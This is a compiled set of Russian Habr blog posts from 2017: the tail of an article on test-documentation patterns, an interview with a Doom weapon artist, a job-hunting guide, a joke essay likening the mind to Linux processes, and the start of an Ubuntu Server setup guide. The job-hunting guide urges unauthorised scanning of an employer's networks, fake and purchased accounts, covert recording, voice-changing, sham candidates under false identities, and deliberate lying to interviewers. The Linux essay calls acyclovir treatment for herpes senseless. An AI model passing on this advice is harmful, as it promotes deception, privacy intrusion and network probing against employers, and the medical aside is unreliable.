В такой схеме дополнительным бонусом является возможность использовать ее как карту для исследовательского тестирования и для смоук-теста. Степень подробности тестирования можно регулировать, отсекая при прогоне уровни дерева, поскольку каждый следующий уровень уточняет предыдущий. При углублении в ветвь дерева — углубляешься в функциональность.

Например, для уже упомянутого чата схема документации будет выглядеть примерно так:



Критерии выбора такого паттерна:
  • цель — протестировать функциональность
  • сложная бизнес-логика
  • частые правки дизайна
  • стратегия тестирования на проекте подразумевает сочетание скриптового и исследовательского тестирования


На базе Use cases


Бывают ситуации, в которых нерентабельно декомпозировать функциональность и проектировать тесты по двум описанным ранее схемам. Например, если мы хотим покрыть тестами длительную работу с приложением – как в случае с лентой соцсети или прослушиванием музыки в бекграунде. Или когда фича завязана на сценарии с малым количеством альтернатив – например, оформление подписки на контент. В таком случае пользуемся третьим паттерном, основанном на пользовательских сценариях.

Сначала декомпозируем функциональность по use-кейсам. Определяемся с тем, какие действующие лица могут участвовать в процессе работы с приложением и какие цели они могут перед собой ставить. За это будут отвечать первые два уровня нашего дерева. Далее пытаемся найти все возможные входные условия, которые могут повлиять на отработку сценария по достижению текущей цели, и структурируем их в дереве. Их так же удобнее всего делить на позитивные и негативные. Далее к каждому листу подвешиваем сценарный чек-лист на проверку функциональности, отвечающей за достижение цели.

В качестве примера ниже приведена схема для музыкального плеера с функцией загрузки треков для прослушивания офлайн:





Здесь ко всем листьям позитивного сценария подвешиваем чек-лист, который нужно будет прогонять в условиях разных подключений к сети:



Бывает так, что при продумывании возможных use-кейсов цели пользователей получаются очень глобальными. Например, в уже упомянутом агрегаторе авиабилетов цель «купить билет» может поставить в тупик обилием возможных вариантов предусловий и количеством шагов, которые необходимо пройти для достижения цели. Кроме того, в таком приложении очень многое зависит от поведения сторонних систем, что накладывает некоторые ограничения на определение всех предусловий и однозначно выполняемого сценария. Предложения поступают от разных авиакомпаний и могут измениться в любую минуту. В каждый момент времени невозможно гарантировать, что покупка билета пройдет успешно, поскольку этот билет может оказаться куплен, пока мы заполняли данные для брони.

Решение первой проблемы заключается в более детальной декомпозиции. То есть большую цель «купить билет» можно разбить на маленькие цели, соответствующие шагам оформления — «ознакомиться с предложениями», «заполнить данные пассажиров», «оплатить заказ». И далее находить набор возможных предусловий, действий пользователя и результатов для этих маленьких целей.

Решение второй проблемы менее очевидно. Это в целом ограничение use-кейса — в случае, если поведение системы не определяется действиями пользователя однозначно, возникают проблемы с покрытием и проектированием use-кейсов. Для себя решили, что в таких ситуациях мы стараемся прописать все возможные варианты поведения систем, неподвластных пользователю, как предусловия, и тем самым снижаем неопределенность результата выполнения сценария. Либо используем другую схему проектирования тестовой документации.

Критерии выбора такого паттерна:
  • для заказчика приоритетом является корректная работа определенных пользовательских сценариев
  • приложение содержит экраны, на которых пользователь проведет много времени, потребляя контент
  • приложение содержит фичи, заключающиеся в отработке линейного сценария
  • стратегия тестирования на проекте подразумевает скриптовое тестирование
  • простая бизнес-логика, легко покрываемая use-кейсами


Описанные выше паттерны можно и нужно комбинировать. В большом приложении с высокими требованиями к качеству обязательно встретятся как фичи, которые оптимально разбить по объекту/действию, так и фичи, требующие сценарного описания по use-кейсам. И точно так же в таком приложении могут обнаружиться экраны, для которых необходимо прописать все состояния элементов и всевозможные пользовательские взаимодействия с ними. Поэтому необязательно выбирать одну единую схему документации для всего приложения в целом, лучше всегда смотреть по обстоятельствами.

Отталкиваемся от цели


Мы сменили инструмент и выработали новые подходы к ведению тестовой документации, но от старых подходов не отказывались. Выбор стратегии зависит от потребностей на проекте и приоритетов заказчика. Если логика приложения простая и проект длится недолго, то обычно достаточно стандартных чек-листов на функциональность с минимальной подробностью. Если проект большой, сложный и без требований, то на часть фич стоит написать полноценную «древовидную» документацию. Если на проекте есть хорошо задокументированные требования, то иногда можно не тратить время на написание тестов по функциональности, зато можно уделить больше внимания нефункциональному тестированию (производительности, безопасности) и систематизировать его – опять же, если есть соответствующая договоренность с заказчиком. Или задокументировать только «рискованные» тесты. Юзер-стори все равно пишем почти всегда, но уже не такие подробные — как приемку для заказчика или как смоук-тест, а проведенная до этого работа по декомпозиции помогает нам быстро проектировать сценарий и правильно расставлять приоритеты.

Наличие тестовой документации на проекте позволяет зафиксировать информацию о требованиях, заранее продумать и структурировать тесты, снизить порог вхождения в проект нового тестировщика, снизить риски пропуска ошибок из-за человеческого фактора. Однако, написание и поддержка тестовой документации требуют ресурсов, которые не всегда возможно или не всегда оправданно тратить.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334660/


[Перевод] Как создавались пушки для Doom

Суббота, 05 Августа 2017 г. 13:48 + в цитатник
Художник по оружию Грегор Копка рассказал о своём опыте создания трёхмерного оружия для видеоигр и о том, как перспектива и расположение камеры влияют на этот процесс.



Введение


Меня зовут Грегор Копка, в разработку 3D-игр я попал в конце девяностых. Мы с моими друзьями участвовали в модсцене и работали над модом Quake III под названием «Navy Seals Covert Operations». Фактически это был мой первый опыт в создании игровых ресурсов для движка. Я занимался персонажами и оружием и совершенно не понимал, что я делаю! Но постепенно мы с друзьями научились всему необходимому. Этот серьёзный труд завершился успехом благодаря поддержке друг друга. Кроме того, нам удалось добиться и большей цели — создать свою собственную компанию. В университете, где я изучал дизайн, я продолжал заниматься 3D-графикой и поверхностно осваивал графику для фильмов. В те времена качество моих работ было намного ниже того, на что способны сегодня даже дети, просто потому что единственным источником знаний тогда были дорогие книги, целиком посвящённые созданию сфер в 3ds Max. Сегодня достаточно зайти на YouTube или на ArtStation, чтобы научиться приёмам оптимальной работы, перенять опыт других пользователей и вдохновиться огромной подборкой потрясающей 3D-графики.

Получив диплом дизайнера, я начал искать работу. Мой друг Бен Бауэр, один из инициаторов нашего мода Quake III, предложил мне попробовать устроиться в компанию Crytek, в которой он работал. Я прошёл несколько тестов и получил должность художника по пропсам, которая позволила мне работать над оружием и пропсами в Crysis. Сначала эта работа была для меня очень сложной! Я по-прежнему не очень понимал, что делаю, но постепенно получил большой объём информации и развил практические навыки, что позволило мне занять новую должность в Crytek. На этом этапе карьеры я, находясь во Франкфурте, курировал создание всего оружия (моя специализация) для всех проектов Crytek…

Я всегда испытывал неуверенность, работая художником продакшена, когда мне приходилось самому разрабатывать дизайн моей работы. Не уверен, правильный ли это путь, особенно если вы любите создавать концепты, но игровым компаниям нравятся художники продакшена с дизайнерским навыками — и такая должность со временем себя окупает. Но если в свободное время вы не занимаетесь концептами, то отстанете от лучших (впрочем, это справедливо и в большинстве других случаев). Сейчас я занимаюсь усовершенствованием своих навыков и продолжаю расти в Nvidia. Всё это напоминает мне самое начало моей работы, когда я был неопытным разработчиком 3D-игр. Но благодаря этому я чувствую себя снова молодым и всегда стремлюсь учиться дальше.

Если вы хотите лучше понять, чем я занимаюсь, то можете посетить мою страницу на Artstation.

Пушки для Crysis:



Пушки для DOOM


Создание оружия для Doom было мне в новинку, потому что в Crytek я определял свой собственный стил и создавал оружие самостоятельно. Перейдя к Doom, я встретился с новой проблемой: мне пришлось работать над комплектом оружия с традиционным дизайном, который полюбился геймерам и разработчикам. Стиль оружия в Doom отличался от того, к чему привык я, то есть от псевдореалистичного стиля. Пушки Doom гораздо массивнее по форме и внушают чувство крутизны и брутальности.

Я пришёл в компанию на поздних этапах разработки дизайна, когда стиль графики уже оформился. Мне пришлось адаптироваться к уже существующему стилю, заданному Джоном Лейном, нашим ведущим художником по концептам, и Брайаном Флинном, ещё одним художником по концептам. Я решил использовать все мои 14 лет опыта работы над оружием для повышения общего качества и внешнего вида оружия в игре. Мне удавалось внести в некоторые виды оружия собственные штрихи. Когда напряжённый график позволял совершать небольшие творческие паузы, мне даже доверяли разрабатывать оружие, например, Hellshot в многопользовательском режиме. Кроме того, я тесно работал с Брайаном Флинном над реализацией его концертов оружия. Целостность процесса обеспечивалась частыми совещаниями, они позволяли нам придерживаться духа франшизы, сохранить который пытались все отделы. Я видел это по тому, как мои коллеги были довольны своей работой (они сами большие фанаты Doom), когда всем нам пришлось серьёзно потрудиться над оружием.

Оружие для Doom:









Продакшен


Я создавал эскизы, а затем переходил к 3ds Max и использовал его мультяшный шейдер для быстрых набросков разных идей. В голове у меня часто уже был приблизительный образ того, что предстоит сделать, в виде форм или анимаций. Я раньше довольно много занимался анимацией для коротких трёхмерных фильмов и считал, что оружие для FPS — это не только форма, но и, что более важно, ощущения игрока, нажимающего на спусковой крючок. Я хотел почувствовать всю крутость стрельбы благодаря качественной и впечатляющей анимации.

Мои родители — инженеры, поэтому я подхожу к работе очень системно. Первые образы оружия очень грубы и нужны только для того, чтобы определиться с анимацией. Как только мне начинает нравиться результат и я ощущаю в игре мощь оружия, я передаю модель аниматорам и дизайнерам. Затем я начинаю усовершенствовать формы и прогоняю игровые тесты. Во-первых, я стремлюсь к тому, чтобы механически оружие выглядело убедительным и мощным. Очень важно как можно раньше добавить в игру пушки — до этого момента игрок как будто ходит наугад в темноте.

При разработке сложных научно-фантастического оружия я применяю подход, используемый в дизайне механизмов. Стандартную штурмовую винтовку я, как и любой другой художник, сначала намечаю в больших, эффектных формах, а потом прорабатываю мелкие детали.

Ниже представлены некоторые эскизы и концепты в мультяшных шейдерах:















Перспектива и поворот камеры


После Crysis 3 я написал целый документ о нём, чтобы у других разработчиков Crytek было руководство для будущих проектов. Многим художникам по концептам следует понять, что никого не волнует вид сбоку — самое важное в растянутой перспективе от первого лица. Поэтому моделировать оружие нужно для игрока, а не для внешнего наблюдателя. Я часто вижу очень детальное оружие со множеством интересных форм, но когда помещаешь их в камеру от первого лица, они не оставляют нужного впечатления. Все интересные детали оказываются ужасно растянутыми или даже невидимыми для игрока — они находятся вне поля зрения или финальная анимация их не поддерживает.

Повторюсь — чтобы ваше художественное видение стало реальностью, а не просто интересной идеей, от которой откажутся в самом начале разработки, нужно как можно раньше реализовать оружие в движке. Это позволит подобрать для игры подходящее расположение камеры, что потребует общения с аниматорами и кучей других отделов.

Иначе вас даже могут обвинить в том, что перспективный вид не впечатляет. В основном проблема заключается в недостатке общения между отделами. В результате мы получаем заурядную и скучную перспективу от первого лица. А выбираемая для игры перспектива осложняет множество аспектов разработки игры. Поэтому разработчикам игр приходится рассматривать варианты использования MIP-текстурирования, ограничивать количество полигонов и решать другие вопросы, чтобы предыдущий опыт оказался полезным и этот этап разработки был успешным.









Визуальные эффекты и анимация


Я уже упоминал анимацию, поэтому теперь рассмотрю визуальные эффекты, которые очень важны. Конечно же, у меня уже было видение оружия, но важно привлечь на ранних этапах художника по визуальным эффектам, чтобы он убедился, что моя идея технически возможна и соотносится с технологиями и сеткой модели.

Идеальный для меня процесс заключается в как можно более тесной работе со всеми необходимыми отделами одновременно, в том числе и с отделом гейм-дизайна. Отлично, если все находят время для групповых личных совещаний, чтобы общение было простым и непосредственным. Хотя у меня и есть собственные соображения о том, где должно находиться оружие, для меня ценно и то, как интерпретируют мои мысли художники по визуальным эффектам и анимации. В конце концов, хорошее оружие — плод коллективных усилий!

У каждой игры есть свои технические ограничения, а у таких художников есть опыт и знания, помогающие им понять, как оптимизировать эти аспекты игрового движка. И не стоит забывать о звуке! Лучше передать характер оружия помогает качественный дизайн звука, то есть для реализации своего видения нужно как можно раньше начать общаться с саунд-дизайнером. Это настолько важный аспект гейм-дизайна, что в крупных хитах, например, в серии Battlefield, звук проверяется постоянно.



Работа в 3ds Max и MODO


Да, основной инструмент в ID — это Modo, но я пришёл в компанию на поздних этапах разработки и у меня просто не было времени на изучение этого ПО. График разработки требовал быстрой работы, а я довольно быстр в 3ds Max. Кроме того, огромную поддержку мне оказали скрипты, написанные Тимоти Иерамианом. Для ускорения моей работы он создал одни из лучших внутренних скриптов для 3ds Max, и благодарность моя не знает границ!

Я рос на 3ds Max и он стал для меня привычным инструментом. Однако сейчас я начал использовать разные инструменты для отдельных задач. Работу с highpoly я полностью перенёс в Fusion 360. Иногда мне кажется, что я изменяю первой любви, потому что с ним так удобно работать, качество пакета высоко во всех отношениях, а рабочий процесс недеструктивен. Хочу ещё подчеркнуть, что у Fusion 360 очень полезная команда поддержки, которая очень внимательна к отзывам.

Наша индустрия ушла так далеко, что теперь уже никого не впечатлить просто качественным моделированием, у нас есть такие инструменты, как Fusion 360, делающие процесс работы очень прямолинейным. Теперь профессионалы и страстные любители этой индустрии должны удивлять других собственными дизайнерскими навыками. Надеюсь, Fusion 360 приобретёт популярность в индустрии — твердотельное моделирование в нём реализовано просто потрясающе.

Но не поймите меня неправильно! С нужными скриптами 3ds Max — тоже очень мощный пакет. Однако конкуренты вырываются вперёд и в некоторых случаях их инструменты оказываются более выигрышными.

Текстурирование 3D Coat


Я использовал 3D-Coat только для текстурирования, потому что он поддерживает PBR, и я мог рисовать прямо по модели и генерировать процедурные материалы. Кроме того, я использовал его для быстрой черновой работы с развёртками.

Я перешёл на него, потому что Эфгени Бишоф использовал его в своей работе над персонажами и пакет выглядел очень мощным. Все остальные работали в Quixel, но это определённо не мой выбор. Сейчас я переключился на Substance, потому что в нём появились понравившиеся мне возможности, но в мне всё равно не хватает важных для работы функций.

Затекстурировано в 3D-Coat:



Механика


Я испытываю влечение к движению и правдоподобной механике, потому что это прочный фундамент для дизайна. Короче, мне не нравятся статичные пушки! Возможно, моя любовь механизмам такого типа произрастает из моего долгого опыта работы в индустрии и постоянного поиска способов интересного рабочего процесса.

Больше всего мне нравится, когда энергия взрыва пули передаётся по стволу, проходит ствольной коробке назад и попадает прямо в мозг! В этом смысле я думаю как аниматор, и пытаюсь передать ощущение удара, проходящего через механику, и впечатление мощи. Надеюсь, моя работа выделяется на фоне остальных благодаря этой концентрации на механике.

Для некоторых это будет очень странный способ работы с концептами, потому что их мозг не обрабатывает информацию так, как мой. Но мне он замечательно подходит и я люблю создавать отличный контент в таком стиле.

Личный проект:





3D-художник Грегор Копка

Интервью взято Кириллом Токаревым.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334874/


Метки:  

[Из песочницы] Охота на работу мечты

Суббота, 05 Августа 2017 г. 13:31 + в цитатник
Хотите попасть на работу в компанию мечты? Работать с конкретными технологиями? Нужна более высокая зарплата и различные бонусы? Рынок по вашей специализации высококонкурентен, и вы чувствуете, что у вас мало шансов?

Множество людей, узнав о подходящей вакансии, подают резюме и сопроводительное письмо в компанию, тягостно ждут ответного звонка или e-mail’а, и получают в ответ тишину, или вежливый отказ. Кому-то везёт больше, они проходят на собеседование, после которого также могут получить отказ. Большая часть рекомендаций ниже применимы к телефонному или личному интервью. Готовиться к ним нужно задолго до отправки резюме на понравившуюся вакансию.

Соберите информацию о компании


В рамках подготовки к собеседованию вас интересуют личности будущих интервьюеров, технологии, оборудование, уровень зарплат, общая благонадёжность компании, процессы внутри неё и финансовые результаты. Кроме получения информации напрямую от HR, работающих в компании инсайдеров, и при прохождении интервью, есть и другие способы собрать нужную информацию, почти[1] не выходя за рамки закона.

Найдите и проанализируйте:

  • Резюме и технические блоги работающих или ранее работавших в вашей будущей компании сотрудников; особенно ценную информацию можно собрать из LinkedIn’а, профильных форумов, публичных репозиториев исходных кодов ПО, иногда из корпоративных аккаунтов соцсетей; старайтесь не оставлять следов, пользуйтесь фейковыми аккаунтами для просмотра (особенно в LinkedIn’е).

  • Информацию из личных блогов сотрудников, такую как класс и марка автомобилей, наличие недвижимости, места проведения досуга и отпуска, состав семьи – это даст информацию о классе дохода сотрудников; особенно интересна подобная информация о будущих нанимающих менеджерах, чьи имена не сложно получить у HR, спросив, кто будет проводить собеседования.

  • Локальные форумы или крупные пользовательские группы могут дать отзывы о работодателе, но относитесь к полученной там информации с долей скептицизма.

  • Опубликованные в прессе интервью работников и аналитику маркетинговых и новостных агентств (напр. РБК/CNews/Gartner).

  • Просканируйте сети и адреса компании, изучите заголовки e-mail’ов, полученных от HR; если вы web-разработчик, то вам может быть полезно знать фреймворки, используемые на веб-сервисах компании; если вы сетевой администратор, то вас будут интересовать детали BGP пиринга, whois, и WiFi с порталом самообслуживания в холле; для системных администраторов интересны служебные заголовки опубликованных сервисов.

  • Ранее открывавшиеся вакансии этой компании (напр. google://site:hh.ru/vacancy/ «Вакансия в архиве» название_компании) – один из самых ценных источников информации об используемых технологиях и текущих проектах.

  • Изучите доступную документацию тендеров – она часто содержит подробные описания проектов, в которых компания была заказчиком, или исполнителем.

  • Просмотрите патенты и лицензии, полученные компанией, а также информацию о партнёрах.

Всё это даст вам информацию об используемом оборудовании, сервисах и ПО.

Опубликованная для акционеров документация расскажет об общем финансовом состоянии компании, о вознаграждении высшего руководства, о фонде оплаты труда сотрудников и их численности, и прочие важные данные. Доступ к базам юридических лиц (СПАРК и др.) даст информацию о других связанных компаниях в холдинге. Ну в самом деле, вы ведь не захотите работать в «конторе» с уставным капиталом в 10000 руб., имеющей признаки фирмы-однодневки? В базах исполнительных производств, решений арбитражных и судов общей юрисдикции можно увидеть проблемы в качестве работы компании и их проблемных подрядчиков Из экзотики – решения судов о восстановлении на работе незаконно уволенных бывших сотрудников.

Не забывайте о конкурентах, но не тратьте на них много времени. Бегло изучив их предложения и продукты вы получите возможность использовать эту информацию как преимущество, при продаже себя на собеседовании.

Собеседование


Постарайтесь скрытно записать аудио на интервью. Запись поможет понять свои ошибки и слабые стороны.

Подготовьте в письменном виде качественные ответы на стандартные вопросы собеседований: рассказ о текущей работе и ответы на типичные поведенческие вопросы. Запишите и прослушайте свою запись, отвечающего с листа на эти вопросы. Измените текст, разметьте его дополнительными паузами и междометиями, чтобы не создавалось впечатления, что вы читаете. Потренируйтесь быстро ориентироваться в тексте.

Врите в резюме и на собеседовании. Грамотно врите. Используйте собранную информацию о компании и интервьюерах, создавая образ «своего парня». Узнали из соцсетей, что HR – велосипедист? – укажите в резюме в секции хобби, что вы бегаете полумарафоны. На собеседовании скажете, что это примерно 21 километр, и в Лужниках в августе 2016-го вы пробежали их за 2 часа 10 минут. Только не переборщите. Попадавшиеся мне на собеседованиях кандидаты, играющие роль всезнайки, и недослушивающие меня, когда я рассказываю о компании и позиции, вызывают раздражение. Нанимать на работу мы их, конечно же, не будем.

White hacking – это когда вы сначала находите проблему в информационной безопасности, а потом вам делают предложение работы. Не приходите на собеседование с результатами white hacking’а, если вы не подаётесь на позицию тестировщика ПО или инженера информационной безопасности.

Попросите друзей-коллег собрать информацию о позиции на собеседовании. Пусть они подадутся на эту же вакансию со своим, или частично изменённым резюме (чужое имя, изменённое последнее место работы, телефон, e-mail, пр.), и пройдут собеседование, записав его. Вы сможете получить часть информации заранее, что поможет вам лучше подготовиться к вашему интервью: с чем и с кем придётся работать, какие вопросы на собеседовании, какую зарплату и бонусы предлагают. Действуйте согласованно, обсуждайте интервью в кругу подставных кандидатов. Убедите друзей показывать на интервью высокий уровень заинтересованности в вакансии, и напомните им, что они должны показать примерно ваш уровень знаний, не выше. Можете коллективно готовиться к интервью.

Будет здорово, если друзья запросят зарплату на уровне, или выше желаемой вами зарплаты, а, в случае получения предложения работы, ответят отказом с причиной, указывающей на несоответствие вилки предложения зарплаты компании рынку («получил предложение с лучшими условиями»), или же с нейтральной причиной («по личным неотложным обстоятельствам»). HR и нанимающий менеджер могут повысить бюджет на позицию, или станут более склонны согласиться с вашими запросами. Такая техника неоднократно приводила к получению предложения работы с зарплатой сильно выше рыночной.

Альтернативой помощи друзей может быть самостоятельное проведение разведки, опять-таки под чужим именем и с изменённым резюме. Купить пару-тройку хороших аккаунтов в соцсетях большой проблемы не представляет. Воспользуйтесь также отдельной SIM картой с отдельным номером, и сделайте переадресацию на виртуальный номер SIP-софтфона или Skype’а, чтобы принять вызов на компьютер. Это даст вам возможность использовать программы изменения голоса и записи разговора (в сочетании с виртуальной звуковой картой). Сошлитесь на заложенный нос или распухшее горло, если у собеседующих возникнут вопросы, но всё же постарайтесь подобрать нормальные аудио фильтры. С фейковых аккаунтов можно связаться с работниками компании, и попросить их ответить на несколько вопросов. Нечасто, но некоторые люди легко идут на контакт, и дают положительные отзывы. Не дайте себя обмануть. Больше отрицательных или просто более взвешенные отзывы вы можете получить от бывших сотрудников, если начнёте разговор с фразы «я понимаю, там многое могло измениться, но не расскажете ли вы о …<прошлом опыте работы>…».

Работа с отказами


Отказы пишутся универсальными формулировками, следуя принципу «лишь бы кандидат-неудачник отстал». Различное программное обеспечения по управлению процессом найма в штатной поставке идёт с универсальными шаблонами отказов, не помогающими вам в поиске ваших ошибок. У вас есть e-mail HR’а. Напишите ему, пару строк с вопросом о том, по какой причине вы не прошли, и попросите рекомендации по развитию от интервьюировавшего вас нанимающего менеджера. Не часто, но иногда я получал действительно ценную информацию.

Присланные в письме с отказом обещания HR написать вам, как только у них появится подходящая под вас позиция – это ложь. Подпишитесь сами на рассылку вакансий понравившейся вам компании, и не ленитесь подаваться, напоминая о себе. Постоянное отслеживание всех публикуемых вакансий даст вам картину развития различных направлений деятельности компании. Кто знает, может быть удача улыбнётся вам в другой раз.

После получения предложения


Делитесь результатами с бывшими коллегами и с другими заинтересованными лицами. Обязательно раскрывайте уровень предложенной заработной платы и другие условия договора – это помогает и другим потенциальным работникам запросить и получить высокую заработную плату. Кроме того, это мотивирует их искать новую работу, и получать новый опыт.

Не забывайте, что испытательный срок не только для вас, но и для работодателя. Письменно уведомляйте руководителя и HR обо всех недостатках работы, и тем более о попытках неисполнения работодателем взятых на себя обязательств, будь они закреплены в договоре, или лишь были высказаны на собеседованиях. Когда будете писать заявление об увольнении с испытательного срока, у вас будут письменные свидетельства, подтверждающие причины вашего поступка. Компания, потратившая значительные ресурсы на процесс отбора кандидатов, найма и адаптации на рабочем месте, может пойти на попятную, и согласится выполнять данные обещания относительно условий работы.

Не прекращайте поиск новой работы. Проходя собеседования на различные позиции, пусть даже на не совсем близкие к вашей текущей, вы тренируете навык прохождения собеседований, расширяете кругозор, узнаёте больше о рынке труда. Кроме того, вы разогреваете рынок, повышая предлагаемый уровень оплаты труда, от чего выигрывают все наёмные работники в этой сфере деятельности.

[1] – в некоторых странах, например в EU, вы обязаны информировать, что разговор будет записан; в России такого требования нет
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334954/


Метки:  

[Из песочницы] Процессы в Linux в Bash'ке человека

Суббота, 05 Августа 2017 г. 12:42 + в цитатник
Почему голову называют «башкой» и как это связано с командной оболочкой bash? А ведь если внимательно присмотреться, то окажется много общего. Процессы, ежесекундно происходящие в нашем мозгу до боли напоминают экран команды top — утилиты *nix, динамически отображающей потребление ресурсов системы.

Вы загружены работой и вдруг мимо вашего стола продефилировала новая сотрудница отдела разработки. Спящий высокоприоритетный системный демон резервного ДНК-копирования моментально захватил практически все ресурсы, текущий пользовательский процесс работы над проектом отброшен как niceless в «прекрасное далёко» оперативной памяти и жалобно обиженно пищит… Неимоверными усилиями вам удается перехватить управление и вернуться к работе, справедливость восстановлена. Уфф!



— Уже два часа, пора обедать! — сработала служба cron. Базовый системный процесс энергетической подзарядки активируется и уверенно начинает расталкивать и тормозить другие процессы пробираясь наверх. И вот вы прерываете работу, встаете и отправляетесь подкрепиться.

whoami?


«Фараон повернулся к своим семидесяти писцам, каждый из которых записывал все слова фараона на одном из семидесяти языков народов мира, и спросил у них: «Знаете ли вы о Боге, Которого называют этим четырехбуквенным именем?». Те ответили: «Мы прочитали все книги всех народов и знаем имена всех богов. Но этого четырехбуквенного имени мы никогда не встречали». Писцы ответили правду. (Книга «Исход»)

Сколько процессов исполняется, запускает дочерние процессы, и умирает ежесекундно в мозгу человека, и только малая часть контролируется нами осознанно. Если поразмыслить, то человек не работает из-под супер-пользователя, это предположение наивно. Он работает, как рядовой юзер командой sudo, с четко прописанными правами в файлике /etc/sudoers, причём весьма скромными. (Как это проверить? Командой whoami или посмотрите на консоль, если там знак доллара, вы точно не под рутом.) Только индийские йоги, ценой неимоверных усилий взламывают систему и получают root-доступ.

Бывает, какой-нибудь процесс — пагубное пристрастие, занимает все ресурсы и ставит пользователя на колени. И несчастный пользователь взывает к Админу, но root как обычно занят делами поважней…

Permissions Denied: пути обхода


Сейчас много пишут о том, что до создания компьютерного аналога мозга человека еще очень и очень далеко, но в то же время пользуемся мы всеми этими ресурсами? Обычный человек по сути демон сознания, запущенный в фоновом режиме на локальном хосте или в виртуальной машине.

И все это достаточно странно. Программу установить легко, «снести» — целая проблема. Взять для примера обычную зависимость от табака: однажды проделав yum install smoking мы получаем запись в crontab с 25 минутным интервалом вызова процесса, и нужно серьезно постараться, чтобы избавиться от нее, а казалось бы: всего-то строчку закомментить.

Депрессия, страх, раздражение — увы, мы не имеем возможности увидеть PID зловреда, но даже если бы мы его знали, у нас нет прав на исполнение команды kill. Однако, не все еще потеряно, хак существует! Это хак непрямого действия: оказывается есть взаимовытесняющие процессы, если активен один, другой переходит в состояние «sleeping».

Счастлив тот, кто читал запретный man и знает все соответствия: усталость вытесняется сном, страх — смехом и т.п. Вспомните как тягостная обстановка на совещании мгновенно разрядилась чьей-то находчивой шуткой. В начале нулевых я недолго работал у одного мутного предпринимателя, который с клиентами выступал вполне серьезным человеком, а в неделовой обстановке периодически травил всяческие байки и скабрезные анекдоты, которые видимо сам и придумывал. Сейчас я понимаю, знал-знал хитрый Рустамыч этот хак, постоянно пребывая в состоянии страха за свои темные дела, и смех помогал ему в борьбе с ним (но обэповцы к нему в концов все же пришли). Это еще и ответ на вопрос, почему школьные учителя терпеть не могут весельчаков — они разрушают атмосферу страха, излюбленного оружия недалеких воспитателей.

А возможно ли самостоятельно почистить систему, «поубивать» зомби-процессы, чтобы освободить ОЗУ и ресурсы процессора? Да, один из способов перезагрузки — это спортивные тренировки. Я заметил, что бизнесмены, как правило, обязательно занимаются каким-то видом спорта: один любит теннис, другой ходит на йогу, третий бегает по утрам. Видимо, при возрастающих физических нагрузках организм самостоятельно запускает программу-мусорщика, который «убивает» ненужные паразитические процессы и освобождает системные ресурсы.

Болезни — как обратная связь


Надеюсь, что когда-нибудь будет изобретен прибор дополненной реальности наподобии команды ps или top, и тогда многие болезни исчезнут. Ведь сейчас различные недомогания — своего рода обратная связь между нами и организмом.

Например, переохлаждение вызывает проявление вируса герпеса. Если учитывать, что герпес существует с человеком на протяжении тысяч лет — к нему давно должен выработаться иммунитет, но этого не происходит, наоборот, зараженность человечества герпесом приближается к 100%.

А что если это необходимая программа, сигнализирующая о том, что организму нужен отдых и параллельно запускающая другие, пока нам неизвестные процессы? А лечение герпеса ацикловиром не более чем бессмысленное насилие над программным модулем, мешающее ему нормально работать?

Сейчас подсознанию приходиться изобретать изощренные способы взаимодействия с сознанием, а обладая мониторингом нам не придется играть в «Поле чудес», мы заранее будем знать о растущей нагрузке и принимать меры.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334950/


Метки:  

[Из песочницы] Взгляд снизу вверх или Ubuntu Server для разработчика электроники. Часть 1

Суббота, 05 Августа 2017 г. 12:32 + в цитатник
При решении задач электроники все методы хороши, если они устраивают ТЗ, бюджет и разработчика. Linux был мне неизвестен, но вместе с задачами, которые решаешь, растешь и сам. Этот пост расскажет о том, как применить компьютер с Ubuntu для связи большого компьютера с контроллером в соответствии со схемой:

Статья описывает практику применения описанной техники и не ставит целью охватить все глубины и возможности современной аппаратуры. Это один из вариантов решения поставленной задачи.

Описание: нужно передавать немалые объёмы данных (к примеру, по 50 Мбайт/сек), сформированные контроллером некоторого прибора, в компьютер c Windows для последующей их математической обработки, отображения в некотором виде на экране, ну и прочего…

Варианты решения:

  • Построим контроллер, с интерфейсом Gigabit ethernet на ПЛИС
  • То же, но на какой-то штуке (к примеру, AX88180)
  • Ваш вариант

Первый вариант простым не будет. Если делать по чесноку, то дорого. Реализация каждого протокола — вопрос времени и умения программиста, но это не та задача, на которую хочется тратить время, при создании прибора. Без протокола или только до уровня UDP — сложности совместимости. Добавить что-то новое — как лошадь объездить.

Второй вариант — тоже не подарок. Реализация интерфейса ради интерфейса — не цель проекта. А такая микросхема съест кучу ног, которые могли бы пригодиться. В итоге ПЛИС растёт, плата растёт, бюджет растёт. А простоты нет…

В связи с этим, решились на эксперимент — построить конгломерат Ethernet на компьютере и контроллера с интерфейсом USB. Небезызвестный производитель FTDI относительно недавно предложил решение для USB3.0 на базе FT600. А этот маленький компьютер будет связывать между собой большой и удобный Windows управляемый ПК с контроллером, возможно обрабатывать первичные данные.

Встаёт вопрос, а как же будет работать маленький компьютер?

Желание использовать для этого дела Windows почему-то даже не появилось, а вот Linux — вариант реальный. Но беда в том, что ни кто в команде не знает, что с ним делать. Не долго думая на виртуальной машине появился Ubuntu Desktop. Да он работает. Сомнений не было, но хотелось посмотреть. Теперь к делу…

Я не буду описывать все мучения человека, который 20 лет пользовался Windows и тут на тебе — Linux. Но я постараюсь дать указания, куда смотреть и что искать, если что-то идёт не так.

Этапы:
  1. Выбор компьютера
    Одноплатные компьютеры пока брать не хотелось, т.к. не везде есть USB 3.0, не в каждом Gigabit Ethernet, который может вдруг понадобиться, да и реальная производительность таких плат — вопрос. Взял решение в коробочке с процессором Intel, крайне похожее на nuc: HDD 500Gb, RAM 2Gb, USB 3.0, Ethernet 100/1000. Не думаю, что это принципиальный вопрос.
  2. Ставим Ubuntu Server
    Идем cюда. Качаем последнюю версию с надписью LTS, что означает долгосрочную поддержку и выход обновлений до 5 лет.
    У меня был Ubuntu Server 16.04.2.
    Ставим на пк с флэшки. Для этого: инструкция, как ставить на флэшку загрузочный образ, и инструкция, как ставить ОС.
    Не забудьте при установке поставить галочку OpenSSH server, для доступа по сети к компьютеру. Будем передавать файлы и управлять компьютером с помощью утилит из Putty.
  3. Настраиваем и дополняем сервер
